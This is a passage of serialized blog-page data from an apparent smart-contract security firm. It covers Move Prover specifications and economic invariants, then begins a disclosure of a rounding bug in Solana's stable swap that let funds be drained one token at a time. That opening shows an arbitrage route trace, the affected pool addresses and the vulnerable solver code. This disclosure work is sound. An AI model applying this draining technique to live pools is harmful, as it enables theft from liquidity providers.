level.",{"type":24,"tag":25,"props":3671,"children":3672},{},[3673,3675,3681,3683,3688],{"type":29,"value":3674},"For example, in ",{"type":24,"tag":154,"props":3676,"children":3678},{"className":3677},[],[3679],{"type":29,"value":3680},"std::offer",{"type":29,"value":3682}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":32,"props":3684,"children":3685},{},[3686],{"type":29,"value":3687},"or",{"type":29,"value":3689}," the recipient is now allowed.",{"type":24,"tag":147,"props":3691,"children":3693},{"code":3692,"language":150,"meta":7,"className":151,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[3694],{"type":24,"tag":154,"props":3695,"children":3696},{"__ignoreMap":7},[3697,3714,3722,3730,3738,3789,3850,3894,3960],{"type":24,"tag":158,"props":3698,"children":3699},{"class":160,"line":161},[3700,3705,3710],{"type":24,"tag":158,"props":3701,"children":3702},{"style":177},[3703],{"type":29,"value":3704}," spec",{"type":24,"tag":158,"props":3706,"children":3707},{"style":177},[3708],{"type":29,"value":3709}," redeem",{"type":24,"tag":158,"props":3711,"children":3712},{"style":188},[3713],{"type":29,"value":210},{"type":24,"tag":158,"props":3715,"children":3716},{"class":160,"line":213},[3717],{"type":24,"tag":158,"props":3718,"children":3719},{"style":2588},[3720],{"type":29,"value":3721}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":158,"props":3723,"children":3724},{"class":160,"line":238},[3725],{"type":24,"tag":158,"props":3726,"children":3727},{"style":2588},[3728],{"type":29,"value":3729}," /// cannot redeem the offer.\n",{"type":24,"tag":158,"props":3731,"children":3732},{"class":160,"line":259},[3733],{"type":24,"tag":158,"props":3734,"children":3735},{"style":2588},[3736],{"type":29,"value":3737}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":158,"props":3739,"children":3740},{"class":160,"line":280},[3741,3746,3751,3756,3761,3766,3770,3775,3780,3785],{"type":24,"tag":158,"props":3742,"children":3743},{"style":177},[3744],{"type":29,"value":3745}," aborts_if",{"type":24,"tag":158,"props":3747,"children":3748},{"style":222},[3749],{"type":29,"value":3750}," !",{"type":24,"tag":158,"props":3752,"children":3753},{"style":177},[3754],{"type":29,"value":3755},"exists",{"type":24,"tag":158,"props":3757,"children":3758},{"style":188},[3759],{"type":29,"value":3760},"\u003C",{"type":24,"tag":158,"props":3762,"children":3763},{"style":171},[3764],{"type":29,"value":3765},"Offer",{"type":24,"tag":158,"props":3767,"children":3768},{"style":188},[3769],{"type":29,"value":3760},{"type":24,"tag":158,"props":3771,"children":3772},{"style":171},[3773],{"type":29,"value":3774},"Offered",{"type":24,"tag":158,"props":3776,"children":3777},{"style":188},[3778],{"type":29,"value":3779},">>(",{"type":24,"tag":158,"props":3781,"children":3782},{"style":177},[3783],{"type":29,"value":3784},"offer_address",{"type":24,"tag":158,"props":3786,"children":3787},{"style":188},[3788],{"type":29,"value":1071},{"type":24,"tag":158,"props":3790,"children":3791},{"class":160,"line":301},[3792,3796,3800,3805,3809,3813,3818,3822,3827,3831,3836,3840,3845],{"type":24,"tag":158,"props":3793,"children":3794},{"style":177},[3795],{"type":29,"value":3745},{"type":24,"tag":158,"props":3797,"children":3798},{"style":222},[3799],{"type":29,"value":3750},{"type":24,"tag":158,"props":3801,"children":3802},{"style":177},[3803],{"type":29,"value":3804},"is_allowed_recipient",{"type":24,"tag":158,"props":3806,"children":3807},{"style":188},[3808],{"type":29,"value":3760},{"type":24,"tag":158,"props":3810,"children":3811},{"style":171},[3812],{"type":29,"value":3774},{"type":24,"tag":158,"props":3814,"children":3815},{"style":188},[3816],{"type":29,"value":3817},">(",{"type":24,"tag":158,"props":3819,"children":3820},{"style":177},[3821],{"type":29,"value":3784},{"type":24,"tag":158,"props":3823,"children":3824},{"style":188},[3825],{"type":29,"value":3826},", signer",{"type":24,"tag":158,"props":3828,"children":3829},{"style":222},[3830],{"type":29,"value":2146},{"type":24,"tag":158,"props":3832,"children":3833},{"style":496},[3834],{"type":29,"value":3835},"address_of",{"type":24,"tag":158,"props":3837,"children":3838},{"style":188},[3839],{"type":29,"value":504},{"type":24,"tag":158,"props":3841,"children":3842},{"style":177},[3843],{"type":29,"value":3844},"account",{"type":24,"tag":158,"props":3846,"children":3847},{"style":188},[3848],{"type":29,"value":3849},"));\n",{"type":24,"tag":158,"props":3851,"children":3852},{"class":160,"line":626},[3853,3858,3862,3866,3870,3874,3878,3882,3886,3890],{"type":24,"tag":158,"props":3854,"children":3855},{"style":177},[3856],{"type":29,"value":3857}," ensures",{"type":24,"tag":158,"props":3859,"children":3860},{"style":222},[3861],{"type":29,"value":3750},{"type":24,"tag":158,"props":3863,"children":3864},{"style":177},[3865],{"type":29,"value":3755},{"type":24,"tag":158,"props":3867,"children":3868},{"style":188},[3869],{"type":29,"value":3760},{"type":24,"tag":158,"props":3871,"children":3872},{"style":171},[3873],{"type":29,"value":3765},{"type":24,"tag":158,"props":3875,"children":3876},{"style":188},[3877],{"type":29,"value":3760},{"type":24,"tag":158,"props":3879,"children":3880},{"style":171},[3881],{"type":29,"value":3774},{"type":24,"tag":158,"props":3883,"children":3884},{"style":188},[3885],{"type":29,"value":3779},{"type":24,"tag":158,"props":3887,"children":3888},{"style":177},[3889],{"type":29,"value":3784},{"type":24,"tag":158,"props":3891,"children":3892},{"style":188},[3893],{"type":29,"value":1071},{"type":24,"tag":158,"props":3895,"children":3896},{"class":160,"line":668},[3897,3901,3905,3909,3914,3918,3923,3927,3931,3935,3939,3943,3947,3951,3955],{"type":24,"tag":158,"props":3898,"children":3899},{"style":177},[3900],{"type":29,"value":3857},{"type":24,"tag":158,"props":3902,"children":3903},{"style":177},[3904],{"type":29,"value":3345},{"type":24,"tag":158,"props":3906,"children":3907},{"style":222},[3908],{"type":29,"value":3175},{"type":24,"tag":158,"props":3910,"children":3911},{"style":496},[3912],{"type":29,"value":3913}," old",{"type":24,"tag":158,"props":3915,"children":3916},{"style":188},[3917],{"type":29,"value":504},{"type":24,"tag":158,"props":3919,"children":3920},{"style":177},[3921],{"type":29,"value":3922},"global",{"type":24,"tag":158,"props":3924,"children":3925},{"style":188},[3926],{"type":29,"value":3760},{"type":24,"tag":158,"props":3928,"children":3929},{"style":171},[3930],{"type":29,"value":3765},{"type":24,"tag":158,"props":3932,"children":3933},{"style":188},[3934],{"type":29,"value":3760},{"type":24,"tag":158,"props":3936,"children":3937},{"style":171},[3938],{"type":29,"value":3774},{"type":24,"tag":158,"props":3940,"children":3941},{"style":188},[3942],{"type":29,"value":3779},{"type":24,"tag":158,"props":3944,"children":3945},{"style":177},[3946],{"type":29,"value":3784},{"type":24,"tag":158,"props":3948,"children":3949},{"style":188},[3950],{"type":29,"value":521},{"type":24,"tag":158,"props":3952,"children":3953},{"style":222},[3954],{"type":29,"value":347},{"type":24,"tag":158,"props":3956,"children":3957},{"style":188},[3958],{"type":29,"value":3959},"offered);\n",{"type":24,"tag":158,"props":3961,"children":3962},{"class":160,"line":676},[3963],{"type":24,"tag":158,"props":3964,"children":3965},{"style":188},[3966],{"type":29,"value":3967}," }\n",{"type":24,"tag":25,"props":3969,"children":3970},{},[3971],{"type":29,"value":3972},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":395,"props":3974,"children":3976},{"id":3975},"complex-mathematical-formulae",[3977],{"type":29,"value":3978},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":3980,"children":3981},{},[3982,3984,3989],{"type":29,"value":3983},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":32,"props":3985,"children":3986},{},[3987],{"type":29,"value":3988},"always",{"type":29,"value":3990}," the output.",{"type":24,"tag":25,"props":3992,"children":3993},{},[3994],{"type":29,"value":3995},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":3997,"children":3998},{},[3999,4001,4008],{"type":29,"value":4000},"For example, in our work with ",{"type":24,"tag":101,"props":4002,"children":4005},{"href":4003,"rel":4004},"https://laminar.markets/",[105],[4006],{"type":29,"value":4007},"Laminar Markets",{"type":29,"value":4009},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":395,"props":4011,"children":4013},{"id":4012},"data-invariants",[4014],{"type":29,"value":4015},"Data Invariants",{"type":24,"tag":25,"props":4017,"children":4018},{},[4019,4021,4027,4029,4035,4037,4043,4045,4051],{"type":29,"value":4020},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":154,"props":4022,"children":4024},{"className":4023},[],[4025],{"type":29,"value":4026},"variables",{"type":29,"value":4028}," or ",{"type":24,"tag":154,"props":4030,"children":4032},{"className":4031},[],[4033],{"type":29,"value":4034},"resources",{"type":29,"value":4036}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":154,"props":4038,"children":4040},{"className":4039},[],[4041],{"type":29,"value":4042},"index",{"type":29,"value":4044}," is never greater than 4 using a ",{"type":24,"tag":154,"props":4046,"children":4048},{"className":4047},[],[4049],{"type":29,"value":4050},"struct invariant",{"type":29,"value":347},{"type":24,"tag":147,"props":4053,"children":4055},{"code":4054,"language":150,"meta":7,"className":151,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[4056],{"type":24,"tag":154,"props":4057,"children":4058},{"__ignoreMap":7},[4059,4075,4092,4099,4106,4121,4146],{"type":24,"tag":158,"props":4060,"children":4061},{"class":160,"line":161},[4062,4066,4071],{"type":24,"tag":158,"props":4063,"children":4064},{"style":165},[4065],{"type":29,"value":168},{"type":24,"tag":158,"props":4067,"children":4068},{"style":171},[4069],{"type":29,"value":4070}," Type",{"type":24,"tag":158,"props":4072,"children":4073},{"style":188},[4074],{"type":29,"value":210},{"type":24,"tag":158,"props":4076,"children":4077},{"class":160,"line":213},[4078,4083,4087],{"type":24,"tag":158,"props":4079,"children":4080},{"style":177},[4081],{"type":29,"value":4082}," index",{"type":24,"tag":158,"props":4084,"children":4085},{"style":222},[4086],{"type":29,"value":225},{"type":24,"tag":158,"props":4088,"children":4089},{"style":171},[4090],{"type":29,"value":4091}," u64\n",{"type":24,"tag":158,"props":4093,"children":4094},{"class":160,"line":238},[4095],{"type":24,"tag":158,"props":4096,"children":4097},{"style":188},[4098],{"type":29,"value":307},{"type":24,"tag":158,"props":4100,"children":4101},{"class":160,"line":259},[4102],{"type":24,"tag":158,"props":4103,"children":4104},{"emptyLinePlaceholder":16},[4105],{"type":29,"value":481},{"type":24,"tag":158,"props":4107,"children":4108},{"class":160,"line":280},[4109,4113,4117],{"type":24,"tag":158,"props":4110,"children":4111},{"style":177},[4112],{"type":29,"value":362},{"type":24,"tag":158,"props":4114,"children":4115},{"style":171},[4116],{"type":29,"value":4070},{"type":24,"tag":158,"props":4118,"children":4119},{"style":188},[4120],{"type":29,"value":210},{"type":24,"tag":158,"props":4122,"children":4123},{"class":160,"line":301},[4124,4129,4134,4138,4142],{"type":24,"tag":158,"props":4125,"children":4126},{"style":177},[4127],{"type":29,"value":4128}," invariant",{"type":24,"tag":158,"props":4130,"children":4131},{"style":177},[4132],{"type":29,"value":4133}," index",{"type":24,"tag":158,"props":4135,"children":4136},{"style":222},[4137],{"type":29,"value":2116},{"type":24,"tag":158,"props":4139,"children":4140},{"style":465},[4141],{"type":29,"value":2620},{"type":24,"tag":158,"props":4143,"children":4144},{"style":188},[4145],{"type":29,"value":473},{"type":24,"tag":158,"props":4147,"children":4148},{"class":160,"line":626},[4149],{"type":24,"tag":158,"props":4150,"children":4151},{"style":188},[4152],{"type":29,"value":307},{"type":24,"tag":25,"props":4154,"children":4155},{},[4156,4158,4165,4166,4173],{"type":29,"value":4157},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":101,"props":4159,"children":4162},{"href":4160,"rel":4161},"https://layerzero.network/",[105],[4163],{"type":29,"value":4164},"LayerZero",{"type":29,"value":1826},{"type":24,"tag":101,"props":4167,"children":4170},{"href":4168,"rel":4169},"http://ariesmarkets.xyz/",[105],[4171],{"type":29,"value":4172},"Aries Markets",{"type":29,"value":4174},", but the details are left as an exercise to the reader.",{"type":24,"tag":395,"props":4176,"children":4178},{"id":4177},"economic-invariants",[4179],{"type":29,"value":4180},"Economic Invariants.",{"type":24,"tag":25,"props":4182,"children":4183},{},[4184],{"type":29,"value":4185},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":4187,"children":4188},{},[4189],{"type":29,"value":4190},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":147,"props":4192,"children":4194},{"code":4193,"language":150,"meta":7,"className":151,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[4195],{"type":24,"tag":154,"props":4196,"children":4197},{"__ignoreMap":7},[4198,4206,4296,4338,4359,4367,4383,4409,4433,4457],{"type":24,"tag":158,"props":4199,"children":4200},{"class":160,"line":161},[4201],{"type":24,"tag":158,"props":4202,"children":4203},{"style":2588},[4204],{"type":29,"value":4205}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":158,"props":4207,"children":4208},{"class":160,"line":213},[4209,4214,4219,4223,4228,4232,4236,4240,4245,4249,4253,4257,4261,4265,4270,4274,4278,4282,4287,4292],{"type":24,"tag":158,"props":4210,"children":4211},{"style":177},[4212],{"type":29,"value":4213}," fun",{"type":24,"tag":158,"props":4215,"children":4216},{"style":496},[4217],{"type":29,"value":4218}," no_free_money_theorem",{"type":24,"tag":158,"props":4220,"children":4221},{"style":188},[4222],{"type":29,"value":504},{"type":24,"tag":158,"props":4224,"children":4225},{"style":177},[4226],{"type":29,"value":4227},"coin1_in",{"type":24,"tag":158,"props":4229,"children":4230},{"style":222},[4231],{"type":29,"value":225},{"type":24,"tag":158,"props":4233,"children":4234},{"style":171},[4235],{"type":29,"value":230},{"type":24,"tag":158,"props":4237,"children":4238},{"style":188},[4239],{"type":29,"value":191},{"type":24,"tag":158,"props":4241,"children":4242},{"style":177},[4243],{"type":29,"value":4244},"coin2_in",{"type":24,"tag":158,"props":4246,"children":4247},{"style":222},[4248],{"type":29,"value":225},{"type":24,"tag":158,"props":4250,"children":4251},{"style":171},[4252],{"type":29,"value":230},{"type":24,"tag":158,"props":4254,"children":4255},{"style":188},[4256],{"type":29,"value":521},{"type":24,"tag":158,"props":4258,"children":4259},{"style":222},[4260],{"type":29,"value":225},{"type":24,"tag":158,"props":4262,"children":4263},{"style":188},[4264],{"type":29,"value":2262},{"type":24,"tag":158,"props":4266,"children":4267},{"style":171},[4268],{"type":29,"value":4269},"u64",{"type":24,"tag":158,"props":4271,"children":4272},{"style":188},[4273],{"type":29,"value":191},{"type":24,"tag":158,"props":4275,"children":4276},{"style":171},[4277],{"type":29,"value":4269},{"type":24,"tag":158,"props":4279,"children":4280},{"style":188},[4281],{"type":29,"value":723},{"type":24,"tag":158,"props":4283,"children":4284},{"style":177},[4285],{"type":29,"value":4286},"acquires",{"type":24,"tag":158,"props":4288,"children":4289},{"style":171},[4290],{"type":29,"value":4291}," Pool",{"type":24,"tag":158,"props":4293,"children":4294},{"style":188},[4295],{"type":29,"value":210},{"type":24,"tag":158,"props":4297,"children":4298},{"class":160,"line":238},[4299,4304,4309,4313,4318,4322,4326,4330,4334],{"type":24,"tag":158,"props":4300,"children":4301},{"style":165},[4302],{"type":29,"value":4303}," let",{"type":24,"tag":158,"props":4305,"children":4306},{"style":177},[4307],{"type":29,"value":4308}," share",{"type":24,"tag":158,"props":4310,"children":4311},{"style":222},[4312],{"type":29,"value":462},{"type":24,"tag":158,"props":4314,"children":4315},{"style":496},[4316],{"type":29,"value":4317}," add_liquidity",{"type":24,"tag":158,"props":4319,"children":4320},{"style":188},[4321],{"type":29,"value":504},{"type":24,"tag":158,"props":4323,"children":4324},{"style":177},[4325],{"type":29,"value":4227},{"type":24,"tag":158,"props":4327,"children":4328},{"style":188},[4329],{"type":29,"value":191},{"type":24,"tag":158,"props":4331,"children":4332},{"style":177},[4333],{"type":29,"value":4244},{"type":24,"tag":158,"props":4335,"children":4336},{"style":188},[4337],{"type":29,"value":1071},{"type":24,"tag":158,"props":4339,"children":4340},{"class":160,"line":259},[4341,4346,4350,4355],{"type":24,"tag":158,"props":4342,"children":4343},{"style":496},[4344],{"type":29,"value":4345}," remove_liquidity",{"type":24,"tag":158,"props":4347,"children":4348},{"style":188},[4349],{"type":29,"value":504},{"type":24,"tag":158,"props":4351,"children":4352},{"style":177},[4353],{"type":29,"value":4354},"share",{"type":24,"tag":158,"props":4356,"children":4357},{"style":188},[4358],{"type":29,"value":2125},{"type":24,"tag":158,"props":4360,"children":4361},{"class":160,"line":280},[4362],{"type":24,"tag":158,"props":4363,"children":4364},{"style":188},[4365],{"type":29,"value":4366}," }\n",{"type":24,"tag":158,"props":4368,"children":4369},{"class":160,"line":301},[4370,4375,4379],{"type":24,"tag":158,"props":4371,"children":4372},{"style":177},[4373],{"type":29,"value":4374}," spec",{"type":24,"tag":158,"props":4376,"children":4377},{"style":177},[4378],{"type":29,"value":4218},{"type":24,"tag":158,"props":4380,"children":4381},{"style":188},[4382],{"type":29,"value":210},{"type":24,"tag":158,"props":4384,"children":4385},{"class":160,"line":626},[4386,4391,4396,4400,4405],{"type":24,"tag":158,"props":4387,"children":4388},{"style":177},[4389],{"type":29,"value":4390}," pragma",{"type":24,"tag":158,"props":4392,"children":4393},{"style":177},[4394],{"type":29,"value":4395}," verify",{"type":24,"tag":158,"props":4397,"children":4398},{"style":222},[4399],{"type":29,"value":1285},{"type":24,"tag":158,"props":4401,"children":4402},{"style":165},[4403],{"type":29,"value":4404},"false",{"type":24,"tag":158,"props":4406,"children":4407},{"style":188},[4408],{"type":29,"value":473},{"type":24,"tag":158,"props":4410,"children":4411},{"class":160,"line":668},[4412,4416,4420,4424,4429],{"type":24,"tag":158,"props":4413,"children":4414},{"style":177},[4415],{"type":29,"value":3857},{"type":24,"tag":158,"props":4417,"children":4418},{"style":177},[4419],{"type":29,"value":2944},{"type":24,"tag":158,"props":4421,"children":4422},{"style":222},[4423],{"type":29,"value":1989},{"type":24,"tag":158,"props":4425,"children":4426},{"style":177},[4427],{"type":29,"value":4428}," coin1_in",{"type":24,"tag":158,"props":4430,"children":4431},{"style":188},[4432],{"type":29,"value":473},{"type":24,"tag":158,"props":4434,"children":4435},{"class":160,"line":676},[4436,4440,4444,4448,4453],{"type":24,"tag":158,"props":4437,"children":4438},{"style":177},[4439],{"type":29,"value":3857},{"type":24,"tag":158,"props":4441,"children":4442},{"style":177},[4443],{"type":29,"value":3025},{"type":24,"tag":158,"props":4445,"children":4446},{"style":222},[4447],{"type":29,"value":1989},{"type":24,"tag":158,"props":4449,"children":4450},{"style":177},[4451],{"type":29,"value":4452}," coin2_in",{"type":24,"tag":158,"props":4454,"children":4455},{"style":188},[4456],{"type":29,"value":473},{"type":24,"tag":158,"props":4458,"children":4459},{"class":160,"line":684},[4460],{"type":24,"tag":158,"props":4461,"children":4462},{"style":188},[4463],{"type":29,"value":4366},{"type":24,"tag":25,"props":4465,"children":4466},{},[4467],{"type":29,"value":4468},"Some other ideas include",{"type":24,"tag":1786,"props":4470,"children":4471},{},[4472,4477,4482],{"type":24,"tag":1790,"props":4473,"children":4474},{},[4475],{"type":29,"value":4476},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":1790,"props":4478,"children":4479},{},[4480],{"type":29,"value":4481},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":1790,"props":4483,"children":4484},{},[4485],{"type":29,"value":4486},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":59,"props":4488,"children":4490},{"id":4489},"closing-thoughts",[4491],{"type":29,"value":4492},"Closing Thoughts",{"type":24,"tag":25,"props":4494,"children":4495},{},[4496],{"type":29,"value":4497},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":4499,"children":4500},{},[4501],{"type":29,"value":4502},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":4504,"children":4505},{},[4506,4508,4515],{"type":29,"value":4507},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":101,"props":4509,"children":4512},{"href":4510,"rel":4511},"https://twitter.com/notdeghost/",[105],[4513],{"type":29,"value":4514},"@notdeghost",{"type":29,"value":347},{"type":24,"tag":4517,"props":4518,"children":4519},"style",{},[4520],{"type":29,"value":4521},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":213,"depth":213,"links":4523},[4524,4525,4528,4535],{"id":61,"depth":213,"text":64},{"id":118,"depth":213,"text":121,"children":4526},[4527],{"id":397,"depth":238,"text":392},{"id":3394,"depth":213,"text":3397,"children":4529},[4530,4531,4532,4533,4534],{"id":3410,"depth":238,"text":3413},{"id":3661,"depth":238,"text":3664},{"id":3975,"depth":238,"text":3978},{"id":4012,"depth":238,"text":4015},{"id":4177,"depth":238,"text":4180},{"id":4489,"depth":213,"text":4492},"markdown","content:blog:2022-09-16-move-prover.md","content","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover","md",[4543,7034,7370,10844,14849,19986,30261,31693,32456,36685,41712,47144,48301,51792,62187,68916,70755,72465,77130,91029,93750,98539,100979,103324,109110,124930,133230,143154,148432,157825,160162],{"_path":4544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4545,"description":4546,"image":4547,"date":4551,"isFeatured":16,"tags":4552,"onBlogPage":16,"body":4555,"_type":4536,"_id":7031,"_source":4538,"_file":7032,"_stem":7033,"_extension":4541},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":4548,"width":4549,"height":4550},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[4553,4554],"solana","report",{"type":21,"children":4556,"toc":7025},[4557,4571,4576,4581,4589,4595,4600,4605,4614,4622,4627,4632,4640,4645,4650,5018,5028,5033,5559,5564,5572,5579,5585,5590,5595,5600,5607,5619,5624,5636,5875,5880,5885,5891,5896,5901,5945,5950,5958,5963,5968,5973,6117,6130,6244,6258,6266,6280,6288,6301,6306,6318,6326,6348,6965,6969,6974,6986,6999,7006,7011,7016,7021],{"type":24,"tag":25,"props":4558,"children":4559},{},[4560,4562,4569],{"type":29,"value":4561},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":101,"props":4563,"children":4566},{"href":4564,"rel":4565},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[105],[4567],{"type":29,"value":4568},"spl-token-swap",{"type":29,"value":4570},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":25,"props":4572,"children":4573},{},[4574],{"type":29,"value":4575},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":25,"props":4577,"children":4578},{},[4579],{"type":29,"value":4580},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":25,"props":4582,"children":4583},{},[4584],{"type":24,"tag":32,"props":4585,"children":4586},{},[4587],{"type":29,"value":4588},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":59,"props":4590,"children":4592},{"id":4591},"discovery",[4593],{"type":29,"value":4594},"Discovery",{"type":24,"tag":25,"props":4596,"children":4597},{},[4598],{"type":29,"value":4599},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":25,"props":4601,"children":4602},{},[4603],{"type":29,"value":4604},"After a while, he noticed something weird..",{"type":24,"tag":4606,"props":4607,"children":4608},"blockquote",{},[4609],{"type":24,"tag":25,"props":4610,"children":4611},{},[4612],{"type":29,"value":4613},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":147,"props":4615,"children":4617},{"code":4616},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[4618],{"type":24,"tag":154,"props":4619,"children":4620},{"__ignoreMap":7},[4621],{"type":29,"value":4616},{"type":24,"tag":25,"props":4623,"children":4624},{},[4625],{"type":29,"value":4626},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":25,"props":4628,"children":4629},{},[4630],{"type":29,"value":4631},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":147,"props":4633,"children":4635},{"code":4634},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[4636],{"type":24,"tag":154,"props":4637,"children":4638},{"__ignoreMap":7},[4639],{"type":29,"value":4634},{"type":24,"tag":25,"props":4641,"children":4642},{},[4643],{"type":29,"value":4644},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":25,"props":4646,"children":4647},{},[4648],{"type":29,"value":4649},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":147,"props":4651,"children":4653},{"code":4652,"language":150,"meta":7,"className":151,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n",[4654],{"type":24,"tag":154,"props":4655,"children":4656},{"__ignoreMap":7},[4657,4665,4695,4725,4825,4929,4954,4966,4983,5003,5011],{"type":24,"tag":158,"props":4658,"children":4659},{"class":160,"line":161},[4660],{"type":24,"tag":158,"props":4661,"children":4662},{"style":2588},[4663],{"type":29,"value":4664}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":158,"props":4666,"children":4667},{"class":160,"line":213},[4668,4672,4677,4682,4686,4691],{"type":24,"tag":158,"props":4669,"children":4670},{"style":165},[4671],{"type":29,"value":2710},{"type":24,"tag":158,"props":4673,"children":4674},{"style":165},[4675],{"type":29,"value":4676}," mut",{"type":24,"tag":158,"props":4678,"children":4679},{"style":177},[4680],{"type":29,"value":4681}," y",{"type":24,"tag":158,"props":4683,"children":4684},{"style":222},[4685],{"type":29,"value":462},{"type":24,"tag":158,"props":4687,"children":4688},{"style":177},[4689],{"type":29,"value":4690}," d_val",{"type":24,"tag":158,"props":4692,"children":4693},{"style":188},[4694],{"type":29,"value":473},{"type":24,"tag":158,"props":4696,"children":4697},{"class":160,"line":238},[4698,4703,4708,4712,4716,4720],{"type":24,"tag":158,"props":4699,"children":4700},{"style":1914},[4701],{"type":29,"value":4702}," for",{"type":24,"tag":158,"props":4704,"children":4705},{"style":177},[4706],{"type":29,"value":4707}," _",{"type":24,"tag":158,"props":4709,"children":4710},{"style":165},[4711],{"type":29,"value":2020},{"type":24,"tag":158,"props":4713,"children":4714},{"style":465},[4715],{"type":29,"value":2025},{"type":24,"tag":158,"props":4717,"children":4718},{"style":222},[4719],{"type":29,"value":2030},{"type":24,"tag":158,"props":4721,"children":4722},{"style":188},[4723],{"type":29,"value":4724},"ITERATIONS {\n",{"type":24,"tag":158,"props":4726,"children":4727},{"class":160,"line":259},[4728,4733,4737,4742,4746,4751,4755,4759,4763,4768,4772,4776,4781,4785,4790,4794,4799,4804,4808,4812,4816,4821],{"type":24,"tag":158,"props":4729,"children":4730},{"style":165},[4731],{"type":29,"value":4732}," 